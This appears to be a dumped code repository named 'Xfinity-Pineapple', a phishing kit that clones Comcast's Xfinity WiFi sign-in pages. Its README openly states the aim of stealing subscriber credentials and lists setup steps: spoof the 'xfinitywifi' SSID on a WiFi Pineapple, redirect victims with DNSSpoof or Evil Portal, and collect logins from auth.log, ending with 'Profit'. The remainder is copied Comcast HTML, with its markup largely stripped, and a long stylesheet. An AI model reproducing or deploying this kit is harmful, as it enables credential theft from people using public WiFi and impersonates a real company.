├── README.md ├── login-page-option1 ├── auth.log ├── auth │ ├── index.html │ └── user_login.php ├── index.html ├── index_files │ ├── comcast.css │ ├── hero-ipad.jpg │ └── reset.css └── user_login.php ├── login-page-option2 ├── auth.log ├── auth │ ├── index.html │ ├── style.css │ └── user_login.php ├── index.html └── user_login.php └── splash.html /README.md: -------------------------------------------------------------------------------- 1 | #Xfinity-Pineapple 2 | Steal xfinity-comcast subscriber credentials. 3 | 4 | - This is a weaponized version of the Comcast shared WiFi interface, to steal users Xfinity/Comcast account credentials. 5 | 6 | ###Setup: 7 | 8 | 1. Read through the writeup for help http://blog.logrhythm.com/security/xfinity-pineapple/ 9 | 10 | 2. Depending on whether you would like to store the source code on your WiFi Pineapple or an internet-accessible server, 11 | these steps may vary. 12 | 13 | 3. Change the name of your wireless access point's SSID to 'xfinitywifi'. 14 | 15 | 4. There are two options for the phishing site. Regardless, the back-end functionality for both is the same. 16 | a. 'login-page-option1' - The full web HTML version of the landing page. 17 | b. 'login-page-option2' - The mobile version of the landing page. 18 | 19 | 5. Navigate to one of these folders and copy the contents to a new web directory on the server / pineapple. 20 | 21 | 6. Configure either DNSSpoof or the Evil Portal within the Pineapple to display the false Xfinity logon pages. 22 | Details included in the writeup. 23 | 24 | 7. Enable the Pineapple's wireless access point. 25 | 26 | 8. Wait, then check in on the auth.log file / tail it / configure alarms to monitor this file. 27 | 28 | 9. Profit. 29 | -------------------------------------------------------------------------------- /login-page-option1/auth.log: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MikeDawg/xfinity-pineapple/a5cc658b9b87cc56167d1b3815430f253933410b/login-page-option1/auth.log -------------------------------------------------------------------------------- /login-page-option1/auth/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 16 | Sign in to XFINITY WiFi 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 |
90 |
91 | 92 | 93 |
94 |

Getting online has never been easier.

95 |

Surf, stream, or share from over a million XFINITY® WiFi hotspots.

96 |
97 |
98 | 99 |
100 |
101 |

Hotspots wherever you go

102 |

Conserve usage on your wireless data plan at over 1,000,000 hotspots.

103 | 106 |
107 |
108 |
109 |
110 |

Blazing fast Internet speeds

111 |

XFINITY® Internet delivers reliably fast speeds, so you can do more of what you love online – at home or away.

112 | 115 |
116 |
117 |
118 |

Awesome is having it all – your way

119 |

Keep up with your favorite shows and hit movies – all streaming to your laptop, tablet, or smartphone.

120 | 123 |
124 |
125 |
126 | To manage your Comcast communication preferences click here. Not available in all areas. 127 | Restrictions apply. Hotspots claim based on June 21, 2013 study by Allion Test Labs, Inc. 128 | XFINITY WiFi is included for XFINITY Internet Performance tier and above only. Requires 129 | compatible WiFi-enabled laptop or mobile device. Hotspots available in select locations only. 130 | Call 1-800-XFINITY or chat for details. Comcast © 2014. 131 | All rights reserved. 132 | 133 |
134 | 135 |
136 | 137 |
138 | 168 |
169 |
170 |

Not an XFINITY Internet customer?

171 |

Sign up for a complimentary trial, or buy access passes to get online now.

172 |
173 | Sign up 174 |
175 |
176 |
177 | 178 |
179 |
180 |
181 |

For username & password help call:

182 |

1-800-XFINITY

183 |
184 | Learn more about XFINITY WiFi 185 | Comcast Business customers, call: 1-800-391-3000 186 | Not an XFINITY customer? Call: 1-855-214-1190 187 |
188 |
189 |
190 | 191 | 204 |
205 | 206 | 207 | -------------------------------------------------------------------------------- /login-page-option1/auth/user_login.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /login-page-option1/index.html: -------------------------------------------------------------------------------- 1 | 2 | 15 | Sign in to XFINITY WiFi 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 |
89 |
90 | 91 | 92 |
93 |

Getting online has never been easier.

94 |

Surf, stream, or share from over a million XFINITY® WiFi hotspots.

95 |
96 |
97 | 98 |
99 |
100 |

Hotspots wherever you go

101 |

Conserve usage on your wireless data plan at over 1,000,000 hotspots.

102 | 105 |
106 |
107 |
108 |
109 |

Blazing fast Internet speeds

110 |

XFINITY® Internet delivers reliably fast speeds, so you can do more of what you love online – at home or away.

111 | 114 |
115 |
116 |
117 |

Awesome is having it all – your way

118 |

Keep up with your favorite shows and hit movies – all streaming to your laptop, tablet, or smartphone.

119 | 122 |
123 |
124 |
125 | To manage your Comcast communication preferences click here. Not available in all areas. 126 | Restrictions apply. Hotspots claim based on June 21, 2013 study by Allion Test Labs, Inc. 127 | XFINITY WiFi is included for XFINITY Internet Performance tier and above only. Requires 128 | compatible WiFi-enabled laptop or mobile device. Hotspots available in select locations only. 129 | Call 1-800-XFINITY or chat for details. Comcast © 2014. 130 | All rights reserved. 131 | 132 |
133 | 134 |
135 | 136 |
137 | 167 |
168 |
169 |

Not an XFINITY Internet customer?

170 |

Sign up for a complimentary trial, or buy access passes to get online now.

171 |
172 | Sign up 173 |
174 |
175 |
176 | 177 |
178 |
179 |
180 |

For username & password help call:

181 |

1-800-XFINITY

182 |
183 | Learn more about XFINITY WiFi 184 | Comcast Business customers, call: 1-800-391-3000 185 | Not an XFINITY customer? Call: 1-855-214-1190 186 |
187 |
188 |
189 | 190 | 203 |
204 | 205 | 206 | -------------------------------------------------------------------------------- /login-page-option1/index_files/comcast.css: -------------------------------------------------------------------------------- 1 | 2 | /* font and background pattern */ 3 | html, body { 4 | height: 100%; 5 | } 6 | body { 7 | font-family:"Helvetica Neue","Helvetica","Arial",sans-serif; 8 | font-weight:400; 9 | font-size:13px; 10 | } 11 | strong { 12 | font-weight: bold; 13 | } 14 | body { 15 | background:url(sprites/global-repeat-bg.png) repeat; 16 | } 17 | 18 | /* Buttons and Links */ 19 | 20 | a { 21 | color: #1371d9; /*#1471da;*/ 22 | text-decoration: none; 23 | } 24 | 25 | a:hover,a:focus { 26 | text-decoration:underline; 27 | } 28 | 29 | .btn-yellow-anchor,.btn-yellow { 30 | text-decoration:none; 31 | background-image:none; 32 | } 33 | 34 | .btn-yellow-anchor,.btn-yellow input.submit,.btn-yellow span,.btn-yellow button.submit,.btn-yellow a { 35 | font-family:"Helvetica Neue","Helvetica","Arial",sans-serif; 36 | font-size:13px; 37 | font-weight:500; 38 | text-align:center; 39 | color:#1B1B1B; 40 | height:45px; 41 | margin:0; 42 | display:inline-block; 43 | *display:inline; 44 | *zoom:1; 45 | line-height: 1; 46 | cursor:pointer; 47 | border: 1px solid #c49530; 48 | -webkit-border-radius:3px; 49 | -moz-border-radius:3px; 50 | border-radius:3px; 51 | -webkit-box-shadow:0 1px 2px 0 rgba(0,0,0,.2); 52 | -moz-box-shadow:0 1px 2px 0 rgba(0,0,0,.2); 53 | box-shadow:0 1px 2px 0 rgba(0,0,0,.2); 54 | background: #fee045; 55 | background: -moz-linear-gradient(top, #fee045 0%, #fecb2a 100%); 56 | background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#fee045), color-stop(100%,#fecb2a)); 57 | background: -webkit-linear-gradient(top, #fee045 0%,#fecb2a 100%); 58 | background: -o-linear-gradient(top, #fee045 0%,#fecb2a 100%); 59 | background: -ms-linear-gradient(top, #fee045 0%,#fecb2a 100%); 60 | background: linear-gradient(to bottom, #fee045 0%,#fecb2a 100%); 61 | filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fecb2a',endColorstr='#fee045',GradientType=0); 62 | text-shadow:0 1px rgba(255, 255, 255, .6); 63 | padding: 2px 20px 3px; 64 | } 65 | .btn-yellow a{width: 197px;line-height:40px;margin-top:18px;padding:0 6px;} 66 | .btn-yellow-anchor:hover,.btn-yellow input.submit:hover,.btn-yellow span:hover,.btn-yellow button.submit:hover,.btn-yellow a:hover { 67 | background: #fee045; 68 | background: -moz-linear-gradient(top, #fee045 0%, #fecb2a 100%); 69 | background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#fee045), color-stop(100%,#fecb2a)); 70 | background: -webkit-linear-gradient(top, #fee045 0%,#fecb2a 100%); 71 | background: -o-linear-gradient(top, #fee045 0%,#fecb2a 100%); 72 | background: -ms-linear-gradient(top, #fee045 0%,#fecb2a 100%); 73 | background: linear-gradient(to bottom, #fee045 0%,#fecb2a 100%); 74 | filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fecb2a',endColorstr='#fee045',GradientType=0); 75 | text-decoration:none; 76 | } 77 | 78 | a.btn-yellow:hover, a.btn-yellow:focus { 79 | text-decoration:none; 80 | } 81 | 82 | .btn-yellow-anchor:active,.btn-yellow input.submit:active,.btn-yellow:active span { 83 | background:-moz-linear-gradient(top,#fecb2a 5%,#fee045 100%); 84 | background:-webkit-linear-gradient(top,#fecb2a 5%,#fee045 100%); 85 | background:-o-linear-gradient(top,#fecb2a 5%,#fee045 100%); 86 | background:-ms-linear-gradient(top,#fecb2a 5%,#fee045 100%); 87 | background:linear-gradient(to bottom,#fecb2a 5%,#fee045 100%); 88 | filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fecb2a',endColorstr='#fee045',GradientType=0); 89 | -webkit-box-shadow:inset 0 2px 2px 0 rgba(0,0,0,.3); 90 | -moz-box-shadow:inset 0 2px 2px 0 rgba(0,0,0,.3); 91 | box-shadow:inset 0 2px 2px 0 rgba(0,0,0,.3); 92 | } 93 | 94 | .btn-yellow-anchor,.btn.btn-yellow span { 95 | padding:11px 25px 0; 96 | height:25px; 97 | } 98 | 99 | .btn-yellow-anchor { 100 | display:block; 101 | margin:0 10px; 102 | } 103 | 104 | /* Forms and Inputs */ 105 | 106 | .form-field { 107 | float:left; 108 | position:relative; 109 | } 110 | 111 | .form-field.checkbox-field label { 112 | display: block; 113 | font-weight: bold; 114 | overflow: hidden; 115 | } 116 | 117 | .ie-placeholder { 118 | position: relative; 119 | } 120 | 121 | .ie-placeholder label { 122 | border: 0 none !important; 123 | color: #aaa; 124 | left: 0; 125 | position: absolute; 126 | top: 0; 127 | } 128 | 129 | .checkbox-custom { 130 | position: relative; 131 | } 132 | 133 | .checkbox-custom input[type=checkbox] { 134 | display: none; 135 | left: 0; 136 | position: absolute; 137 | top: 0; 138 | } 139 | 140 | .ie7 .checkbox-custom input[type=checkbox], 141 | .ie8 .checkbox-custom input[type=checkbox] { 142 | display: block; 143 | } 144 | 145 | .checkbox-custom input[type=checkbox] + label { 146 | background: url(sprites/ico-checkbox.png) no-repeat 0 0; 147 | padding-left: 25px; 148 | } 149 | 150 | .checkbox-custom input[type=checkbox]:checked + label { 151 | background: url(sprites/ico-checkbox-checked.png) no-repeat 0 0; 152 | } 153 | 154 | .ie7 .checkbox-custom label, 155 | .ie8 .checkbox-custom label { 156 | background: none !important; 157 | } 158 | 159 | input.text, .select-dropdown, .ie-placeholder label { 160 | background: #f9f9f9; 161 | margin: 0; 162 | border:1px solid #D5D5D5; 163 | border:1px solid rgba(0,0,0,.1); 164 | -webkit-border-radius:3px; 165 | -moz-border-radius:3px; 166 | border-radius:3px; 167 | float:left; 168 | padding: 17px 11px 12px 11px; 169 | font-size:13px; 170 | height: 16px; 171 | line-height:1em; 172 | -moz-box-shadow: 0 1px 0 rgba(255,255,255,.94), inset 0 1px 1px rgba(0,0,0,.33); 173 | -webkit-box-shadow: 0 1px 0 rgba(255,255,255,.94), inset 0 1px 1px rgba(0,0,0,.33); 174 | box-shadow: 0 1px 0 rgba(255,255,255,.94), inset 0 1px 1px rgba(0,0,0,.33); 175 | } 176 | 177 | input.text, .select-dropdown { 178 | position: relative; 179 | } 180 | 181 | .ie7 input.text.blur, 182 | .ie8 input.text.blur, 183 | .ie9 input.text.blur { 184 | background: none; 185 | -moz-box-shadow: 0 0 0; 186 | -webkit-box-shadow: 0 0 0; 187 | box-shadow: 0 0 0; 188 | } 189 | 190 | input.text:focus { 191 | outline-width:0; 192 | border:3px solid #a2c513; 193 | padding: 15px 9px 10px 9px; 194 | } 195 | 196 | input.text.error { 197 | border:1px solid #ffc600; 198 | padding: 17px 11px 12px 11px; 199 | } 200 | 201 | .select-dropdown { 202 | background: #f9f9f9 url(sprites/ico-select-dropdown.png) no-repeat right center; 203 | padding: 15px 8px 14px 11px; 204 | } 205 | 206 | .select-dropdown select { 207 | -webkit-appearance: none; 208 | background: none; 209 | border: none; 210 | color: #3b3b3b; 211 | font-weight: bold; 212 | width: 100%; 213 | } 214 | 215 | .select-dropdown select:focus { 216 | outline-width:0; 217 | } 218 | 219 | .form-field span.validation-error { 220 | display: none; 221 | position: absolute; 222 | bottom: -13px; 223 | clear: both; 224 | color: #FF3030; 225 | font-size: 10px; 226 | font-style: italic; 227 | margin: 0; 228 | } 229 | 230 | input.checkbox { 231 | -webkit-appearance: none; 232 | margin: 0; 233 | border: 0; 234 | width: 18px; 235 | height: 17px; 236 | background: url(images/checkbox-sprite.png) no-repeat -20px -1px; 237 | float:left; 238 | } 239 | 240 | input.checkbox:checked { 241 | background-position: -1px -1px; 242 | } 243 | 244 | input.checkbox:focus { 245 | outline-width:0; 246 | border:2px solid #a2c513; 247 | } 248 | input:-webkit-input-placeholder, input:-moz-placeholder, input:-ms-input-placeholder { 249 | color:#bbbbc3; 250 | } 251 | 252 | /* Container and content padding */ 253 | 254 | #container { 255 | position: relative; 256 | min-width: 1020px; 257 | height:auto !important; 258 | height:100%; 259 | min-height: 100%; 260 | overflow-x: hidden; 261 | overflow:hidden; 262 | margin-right: auto; 263 | margin-left: auto; 264 | margin-top: auto; 265 | 266 | 267 | } 268 | 269 | /* float footer under content */ 270 | html, body { 271 | height: 100%; 272 | } 273 | 274 | /* Footer */ 275 | #footer-push { 276 | height: 80px; 277 | } 278 | #footer-container { 279 | /* float footer under content */ 280 | 281 | clear: both; 282 | position: relative; 283 | margin-top: 160px; 284 | width: 100%; 285 | height: 80px; 286 | z-index:1000; 287 | /* footer bg */ 288 | background-color: #2c2c2c; 289 | background:url(sprites/wifi-repeat-bg.png) repeat-x top left; 290 | color: #fff; 291 | 292 | /*margin-top: 145px;*/ 293 | } 294 | 295 | #footer-container.error { 296 | margin-top: 0; 297 | } 298 | 299 | #footer-container a:hover { 300 | text-decoration:underline; 301 | } 302 | 303 | #footer-wifi { 304 | width:980px; 305 | height: 60px; 306 | margin: 0 auto; 307 | padding: 23px 0 0; 308 | line-height:14px; 309 | *zoom:1; 310 | } 311 | 312 | #footer-logo { 313 | float:left; 314 | background:url(sprites/footer-logo.png) no-repeat; 315 | width: 92px; 316 | height: 33px; 317 | margin: 0 5px; 318 | } 319 | 320 | #footer-wifi a { 321 | float:right; 322 | padding: 13px 17px 12px 12px; 323 | background-position:0 0; 324 | color: #fff; 325 | text-decoration:none; 326 | font-weight:500; 327 | } 328 | 329 | #footer-wifi span { 330 | float:right; 331 | display: inline-block; 332 | padding: 13px 8px 12px 17px; 333 | font-weight:200; 334 | border-left: 1px solid #595959; 335 | border-left: 1px solid rgba(255, 255, 255, .25); 336 | } 337 | 338 | /* Hero header */ 339 | 340 | #hero-container { 341 | overflow: hidden; 342 | width: 100%; 343 | height: 433px; 344 | background-color: #2c2c2c; 345 | border-bottom: 4px solid #d5d5d5; 346 | } 347 | 348 | #hero-splash { 349 | position: absolute; 350 | /* center */ 351 | left: 50%; 352 | margin-left: -800px; 353 | height: 433px; 354 | width: auto; 355 | } 356 | 357 | #hero-logo { 358 | position: absolute; 359 | width: 226px; 360 | height: 50px; 361 | top: 30px; 362 | left: 50%; 363 | margin-left: -112px; 364 | background:url(sprites/hero-logo.png) no-repeat; 365 | } 366 | 367 | 368 | #hero-logo.contrast { 369 | background:url(sprites/hero-logo-contrast.png) no-repeat; 370 | } 371 | 372 | #hero-logo-branded { /* Speta logo */ 373 | position: absolute; 374 | width: 84px; 375 | height: 84px; 376 | top: 195px; 377 | left: 50%; 378 | margin-left: -495px; 379 | } 380 | 381 | #hero-copy { 382 | position: absolute; 383 | width: 980px; 384 | top: 298px; 385 | left: 50%; 386 | margin-left: -498px; 387 | /* image */ 388 | /* background:url(sprites/hero-copy.png) no-repeat; 389 | width: 501px; 390 | height: 63px;*/ 391 | /* text */ 392 | color: #fff; 393 | text-shadow: 0 1px 2px rgba(0,0,0,.5); 394 | } 395 | 396 | #hero-copy.contrast { 397 | color:#000; 398 | text-shadow:none; 399 | } 400 | 401 | #hero-copy h1.hero-copy-h1-small { 402 | font-size: 24px; 403 | line-height: 30px; 404 | } 405 | 406 | #hero-copy h1 { 407 | font-weight: 200; 408 | font-size: 38px; 409 | line-height: 42px; 410 | } 411 | 412 | #hero-copy h1 strong { 413 | font-weight:500; 414 | font-size: 38px; 415 | line-height: 40px; 416 | } 417 | 418 | .ie7 #hero-copy h1 strong, 419 | .ie8 #hero-copy h1 strong, 420 | .ie9 #hero-copy h1 strong { 421 | font-weight:bold; 422 | } 423 | 424 | #hero-copy p { 425 | font-weight: 200; 426 | letter-spacing: 1px; 427 | font-size: 18px; 428 | line-height: 29px; 429 | margin: 4px 3px; 430 | } 431 | #hero-copy a { 432 | color: #fff; 433 | text-decoration: underline; 434 | } 435 | sup { 436 | font-size: .5em; 437 | line-height: .5em; 438 | position: relative; 439 | vertical-align: super; 440 | } 441 | 442 | .ie7 sup, 443 | .ie8 sup, 444 | .ie9 sup { 445 | font-size: .8em; 446 | } 447 | /* Hero header - Alert */ 448 | 449 | .alert #hero-container { 450 | background-color: #ffffff 451 | } 452 | .alert #hero-splash { 453 | top: 12.0769230769em; /* 157/13 */ 454 | margin-left: -38.6923076923em; /* 503/13 */ 455 | height: auto; 456 | } 457 | .alert #hero-logo { 458 | background:url(sprites/hero-logo-red.png) no-repeat 0 0; 459 | } 460 | .alert #hero-logo:after { 461 | background: #dcdcdc; 462 | background: -moz-linear-gradient(left, rgba(220,220,220,0) 0%, rgba(220,220,220,1) 50%, rgba(0,0,0,0) 100%); /* FF3.6+ */ 463 | background: -webkit-gradient(linear, left top, right top, color-stop(0%,rgba(220,220,220,0)), color-stop(50%,rgba(220,220,220,1)), color-stop(100%,rgba(0,0,0,0))); /* Chrome,Safari4+ */ 464 | background: -webkit-linear-gradient(left, rgba(220,220,220,0) 0%,rgba(220,220,220,1) 50%,rgba(0,0,0,0) 100%); /* Chrome10+,Safari5.1+ */ 465 | background: -o-linear-gradient(left, rgba(220,220,220,0) 0%,rgba(220,220,220,1) 50%,rgba(0,0,0,0) 100%); /* Opera 11.10+ */ 466 | background: -ms-linear-gradient(left, rgba(220,220,220,0) 0%,rgba(220,220,220,1) 50%,rgba(0,0,0,0) 100%); /* IE10+ */ 467 | background: linear-gradient(to right, rgba(220,220,220,0) 0%,rgba(220,220,220,1) 50%,rgba(0,0,0,0) 100%); /* W3C */ 468 | filter: progid:DXImageTransform.Microsoft.gradient( startColorstr='#00dcdcdc', endColorstr='#00000000',GradientType=1 ); /* IE6-9 */ 469 | content:""; 470 | display: block; 471 | height: 1px; 472 | left: -50%; 473 | margin-left: -14.6153846154em; /* 190/13 */ 474 | position: relative; 475 | top: 5.69230769231em; /* 74/13 */ 476 | width: 61.5384615385em; /* 800/13 */ 477 | } 478 | .alert #hero-copy { 479 | color: #444444; 480 | text-shadow: none; 481 | top: 19.2307692308em; /* 250/13 */ 482 | width: 49.1538461538em; /* 639/13 */ 483 | } 484 | .alert #hero-copy h1 { 485 | font-size: 3.23076923077em; /* 42/13 */ 486 | } 487 | .alert #hero-copy p { 488 | margin-top: 0.666666666667em; /* 12/18 */ 489 | line-height: 1.22222222222em; /* 22/18 */ 490 | } 491 | .alert #content { 492 | padding-top: 3.84615384615em; /* 50/13 */ 493 | margin-bottom: 32.4615384615em; /* 422/13 */ 494 | } 495 | .ie8 .alert input.checkbox { 496 | background: none; 497 | } 498 | /* Rails */ 499 | 500 | .rails-container { 501 | position: absolute; 502 | width: 45%; /* 5% wiggle room */ 503 | max-width: 494px; /* ideal right from center */ 504 | top: 160px; 505 | left: 50%; 506 | } 507 | 508 | .rails-box { 509 | position: relative; 510 | width:307px; 511 | margin-bottom: 28px; 512 | float: right; 513 | background-color:#fff; 514 | z-index: 1000; 515 | border:1px solid #CACACA; 516 | -moz-border-radius:5px; 517 | -webkit-border-radius:5px; 518 | border-radius:5px; 519 | -webkit-box-shadow:0 1px 2px 0 rgba(0,0,0,.1); 520 | -moz-box-shadow:0 1px 2px 0 rgba(0,0,0,.1); 521 | box-shadow:0 1px 2px 0 rgba(0,0,0,.1); 522 | } 523 | 524 | .rails-box h3 { 525 | color: #c7001d; 526 | font-size: 15px; 527 | font-weight: 500; 528 | } 529 | 530 | .rails-box .btn { 531 | margin: 0 auto; 532 | width: 211px; 533 | } 534 | 535 | .rails-box .btn .submit { 536 | margin-top: 18px; 537 | width: 211px; 538 | } 539 | 540 | /* Sign in Rail */ 541 | 542 | .signin-rail { 543 | /*height: 396px;*/ 544 | } 545 | 546 | .rails-padding { 547 | padding: 18px 22px; 548 | } 549 | 550 | .rails-container h2 { 551 | height: 70px; 552 | /* box style */ 553 | background: #f4f4f4; 554 | border-bottom: 1px solid #d5d5d5; 555 | border-top-left-radius: 5px; 556 | border-top-right-radius: 5px; 557 | -webkit-border-top-left-radius: 5px; 558 | -webkit-border-top-right-radius: 5px; 559 | /* header text */ 560 | color: #3a3a3a; 561 | font-size: 24px; 562 | font-weight: 500; 563 | line-height: 73px; 564 | text-align: center; 565 | } 566 | .ie7 .rails-container h2, 567 | .ie7 .rails-container h3, 568 | .ie7 .rails-container a, 569 | .ie7 .noncustomer-rail p, 570 | .ie8 .rails-container h2, 571 | .ie8 .rails-container h3, 572 | .ie8 .rails-container a, 573 | .ie8 .noncustomer-rail p, 574 | .ie9 .rails-container h2, 575 | .ie9 .rails-container h3, 576 | .ie9 .rails-container a, 577 | .ie9 .noncustomer-rail p { 578 | font-weight: bold; 579 | } 580 | .signin-rail { 581 | line-height: 19px; 582 | } 583 | .signin-rail .form-field { 584 | width: 268px; 585 | margin-top: 21px; 586 | } 587 | .noncustomer-rail .form-field input.text, 588 | .noncustomer-rail .ie-placeholder label, 589 | .signin-rail .form-field input.text, 590 | .signin-rail .ie-placeholder label { 591 | width: 244px; 592 | margin-left: -1px; 593 | margin-bottom: 7px; 594 | } 595 | .noncustomer-rail .form-field { 596 | margin-top: 10px; 597 | } 598 | .signin-rail .form-field a { 599 | margin-left: 2px; 600 | font-size: 12px; 601 | } 602 | /* Support Rail */ 603 | .support-rail { 604 | color: #3b3b3b; 605 | } 606 | .support-rail .rails-padding { 607 | padding: 16px 17px; 608 | } 609 | .phone-support { 610 | background:url(sprites/support-phone.png) no-repeat 0 6px; 611 | padding: 3px 0 7px 38px; 612 | clear: both; 613 | } 614 | .support-rail p { 615 | font-size: 12px; 616 | } 617 | .support-rail h3 { 618 | color: #3a3a3a; 619 | font-size: 16px; 620 | font-weight: 500; 621 | margin-top: 7px; 622 | } 623 | .support-rail a { 624 | display: block; 625 | padding: 7px 0 2px; 626 | font-size: 13px; 627 | font-weight: 500; 628 | } 629 | .support-rail span { 630 | display: block; 631 | font-size: 11px; 632 | margin: 7px 0 0; 633 | } 634 | 635 | 636 | /* Non-customer Rail */ 637 | .noncustomer-rail .rails-padding { 638 | padding-top: 24px; 639 | padding-bottom: 24px; 640 | padding-right: 18px; 641 | } 642 | .noncustomer-rail .select-dropdown { 643 | margin-top: 25px; 644 | width: 247px; 645 | } 646 | .noncustomer-rail p { 647 | font-weight: 500; 648 | line-height: 17px; 649 | margin-top: 16px; 650 | margin-bottom: 6px; 651 | } 652 | /* MDU */ 653 | .checkbox { 654 | float: left; 655 | } 656 | .checkbox-label { 657 | display: block; 658 | width: 175px; 659 | font-weight: 700; 660 | line-height: 17px; 661 | } 662 | /* Sign in content */ 663 | #content { 664 | padding: 25px 25px 0; /* extra padding for footer */ 665 | color: #3b3b3b; 666 | text-shadow: 0 1px 0 rgba(255,255,255,.45); 667 | width: 1020px; 668 | margin: 0 auto 10px; 669 | } 670 | #content h2 { 671 | font-size: 19px; 672 | font-weight: bold; 673 | margin: 0 5px 10px 5px; 674 | } 675 | #content p { 676 | line-height: 16px; 677 | margin: 0 5px 16px 5px; 678 | } 679 | #content .content-link { 680 | height: 24px; 681 | background:url(sprites/signin-sprites.png) no-repeat -503px -321px; 682 | } 683 | #content .content-link a { 684 | display: inline-block; 685 | font-size: 13px; 686 | font-weight: 500; 687 | padding: 4px 4px 4px 30px; 688 | text-shadow: none; 689 | } 690 | #content .hotspots-info { 691 | margin: 2px 370px 24px -97px; 692 | height: 155px; 693 | background:url(sprites/signin-sprites.png) no-repeat 0 0; 694 | padding-top: 66px; 695 | padding-left: 453px; 696 | } 697 | #content .hotspots-columns { 698 | clear: both; 699 | margin-left: -20px; 700 | } 701 | #content .hotspots-column { 702 | border-left: 1px dotted #000; 703 | -webkit-border-image: url(sprites/sep-border.png) 6 repeat; 704 | -moz-border-image: url(sprites/sep-border.png) 6 repeat; 705 | border-image: url(sprites/sep-border.png) 6 repeat; 706 | float: left; 707 | width: 268px; 708 | padding-left: 30px; 709 | padding-right: 42px; 710 | } 711 | #content .hotspots-column:first-child { 712 | border-left :0; 713 | } 714 | #content .hotspots-column p { 715 | line-height: 17px; 716 | margin-bottom: 18px; 717 | } 718 | #content .hotspots-column .content-link { 719 | margin-left: 4px; 720 | margin-bottom: 7px; 721 | } 722 | #content .hotspots-column-1 .hostspot-img { 723 | width: 228px; 724 | height: 125px; 725 | background:url(sprites/signin-sprites.png) no-repeat 7px -221px; 726 | margin-bottom: 19px; 727 | } 728 | #content .hotspots-column-1 p { 729 | margin-bottom: 37px; 730 | } 731 | #content .hotspots-column-2 .hostspot-img { 732 | width: 238px; 733 | height: 109px; 734 | background:url(sprites/signin-sprites.png) no-repeat -246px -220px; 735 | margin-top: 23px; 736 | margin-bottom: 12px; 737 | } 738 | #terms-disclaimer { 739 | width: 600px; 740 | clear: both; 741 | color: #3a3a3a; 742 | font-size: 11px; 743 | margin: 67px 0px 20px 22px; 744 | text-shadow: none; 745 | } 746 | 747 | #legal-disclaimer { 748 | clear: both; 749 | color: #3a3a3a; 750 | font-size: 11px; 751 | font-weight: 300; 752 | margin: 50px 0px 20px 22px; 753 | text-shadow: none; 754 | } 755 | /* Page Header (on Error pages) 756 | ---------------------------------------------------------------------------- */ 757 | /* clear float */ 758 | .group:after { 759 | content: ""; 760 | line-height: 0; 761 | display: block; 762 | visibility: hidden; 763 | clear: both; 764 | } 765 | #header-container { 766 | width: 100%; 767 | /* height: 62px;*/ 768 | background: url(sprites/wifi-repeat-bg.png) repeat-x 0 90%; 769 | } 770 | #header-container .wifi-logo { 771 | background: url(sprites/hero-logo.png) 50% -65px; 772 | display: block; 773 | height: 40px; 774 | margin: 0 auto; 775 | text-indent: -999em; 776 | padding: 10px 0; 777 | width: 160px; 778 | 779 | } 780 | /* Error Pages 781 | ---------------------------------------------------------------------------- */ 782 | .font-light { 783 | font-weight: normal; 784 | } 785 | #content.system-message { 786 | padding: 46px 25px 0; 787 | } 788 | .amenity-message .separator, 789 | .system-message .separator { 790 | margin: 0 5px 10px 5px; 791 | border-bottom: 1px solid #cacaca; 792 | } 793 | #container .legal { 794 | color: #777; 795 | font-size: 11px; 796 | line-height: 12px; 797 | margin: 28px auto; 798 | width: 690px; 799 | } 800 | /*#legal-container { 801 | margin-bottom: 140px; 802 | }*/ 803 | #content.amenity-message h2.title, 804 | #content.system-message h2 { 805 | border-bottom: 1px solid #cacaca; 806 | font-size: 25px; 807 | line-height: 46px; 808 | padding-bottom: 26px; 809 | } 810 | .system-message h2 .icon { 811 | background: transparent url(sprites/sprites-icons.png) -104px 0; 812 | float: left; 813 | width: 53px; 814 | height: 53px; 815 | } 816 | .system-message .content-section, 817 | .system-message .nav-section { 818 | background-color: #fff; 819 | border: 1px solid #d5d5d5; 820 | -webkit-border-radius: 5px; 821 | -moz-border-radius: 5px; 822 | border-radius: 5px; 823 | margin: 35px auto; 824 | padding: 50px; 825 | position: relative; 826 | width: 588px; 827 | } 828 | .system-message .nav-section { 829 | background-color: #f7f7f7; 830 | height: 60px; 831 | line-height: 60px; 832 | padding: 0 35px; 833 | width: 618px; 834 | } 835 | .system-message .nav-section .btn { 836 | bottom: 10px; 837 | *bottom: 10; 838 | float: right; 839 | right: 25px; 840 | position: absolute; 841 | } 842 | .system-message .nav-section .btn span { 843 | display: block; 844 | padding: 12px 25px 0; 845 | } 846 | #container .btn span:hover { 847 | text-decoration:none; 848 | } 849 | 850 | .amenity-message .content-section h3, 851 | .system-message .content-section h3 { 852 | font-size: 19px; 853 | font-weight: bold; 854 | line-height: 22px; 855 | } 856 | .system-message .content-section .text-content { 857 | float: left; 858 | } 859 | .content-section img { 860 | float: right; 861 | right: -16px; 862 | position: absolute; 863 | top: 36px; 864 | } 865 | .content-section img + .text-content { 866 | float: left; 867 | width: 55%; 868 | } 869 | .system-message img + .text-content li { 870 | padding-right: 0; 871 | } 872 | #content.system-message .content-section p { 873 | font-size: 14px; 874 | margin: 10px 0 0; 875 | } 876 | .amenity-message .content-section ul, 877 | .system-message .content-section ul { 878 | list-style: disc; 879 | margin: 26px 0 0 18px; 880 | } 881 | .system-message .content-section ul.padded { 882 | margin-bottom: 28px; 883 | } 884 | #content.system-message .content-section ul + p { 885 | font-size: 13px; 886 | margin: 18px 0 0; 887 | padding-bottom: 10px; 888 | } 889 | #content.system-message .content-section p.wide { 890 | margin-right: -60px; 891 | } 892 | .amenity-message .content-section li, 893 | .system-message .content-section li { 894 | margin-bottom: 10px; 895 | line-height: 15px; 896 | padding-right: 120px; 897 | } 898 | .system-message .nav-section a { 899 | font-weight: bold; 900 | } 901 | /* Amenity Pages 902 | ---------------------------------------------------------------------------- */ 903 | #content.amenity-message { 904 | position : relative; 905 | } 906 | #content.amenity-message #hero-logo-branded { 907 | left: auto; 